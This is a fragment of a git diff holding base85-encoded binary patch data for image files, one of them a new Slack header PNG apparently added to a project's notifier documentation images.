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
L3Sw2FAA|lcYz=Ea

literal 0
HcmV?d00001

diff --git a/_images/notifier/slack/slack-header.png b/_images/notifier/slack/slack-header.png
new file mode 100644
index 0000000000000000000000000000000000000000..a7caf915d8ffd7c2837eb7f1762a5b91312cdff3
GIT binary patch
literal 10140
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
